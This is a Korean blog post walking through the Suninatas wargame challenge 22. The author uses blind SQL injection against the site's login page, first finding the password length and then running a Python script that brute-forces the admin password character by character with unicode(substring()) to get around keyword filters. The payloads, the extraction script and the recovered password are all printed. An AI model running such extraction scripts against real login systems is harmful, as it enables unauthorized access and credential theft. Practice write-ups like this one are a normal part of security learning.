Bace
Suninatas - 22번 본문
문제는 다음과 같다.
필터링 키워드들도 다 주어져 있다.
코드를 봤는데 힌트가 주어져 있다.
guest / guest 로 로그인이 가능하고 admin의 pw를 찾으라고 한다.
guest / guest 로 로그인해보았다.
로그인 성공 결과값은 OK가 들어간다.
일단 아래와 같이 보내 pw의 길이를 알아냈다.
?id=admin' and len(pw)<20-- &pw=0
시도해본 결과 pw의 길이는 10자리였다.
이제 pw를 알아내야하는데 ascii와 char이 필터링 되어있으므로 unicode를 통해 값을 알아냈다.
pw 값은 코딩을 통해 찾아냈다.
import requests
answer = ''
for i in range(1,11):
for j in range(33,128):
url = "http://suninatas.com/challenge/web22/web22.asp?id=admin' and unicode(substring(pw,{},1))={}--&pw=0".format(i,j)
cookies = {'ASPSESSIONIDACRCQDDS':'자신의 SESSIONID'}
response = requests.get(url=url,cookies=cookies)
if response.text.find("OK") != -1:
answer += chr(j)
print 'Found {}st letter'.format(i)
break
print '{}st letter {}th '.format(i,j)
print answer
결과
admin / N1c3Bilnl) 으로 로그인해보았다.
OK admin이 뜬다.
flag가 뜨지 않으므로 Auth 창에 가서 pw 값으로 인증해보았다.
# Auth
'SuNiNaTaS > Web' 카테고리의 다른 글
Suninatas - 12번 (0) | 2020.06.05 |
---|---|
Suninatas - 3번 (0) | 2020.06.05 |
Suninatas - 8번 (0) | 2020.02.04 |
Suninatas - 7번 (0) | 2020.02.04 |
Suninatas - 5번 (0) | 2020.02.04 |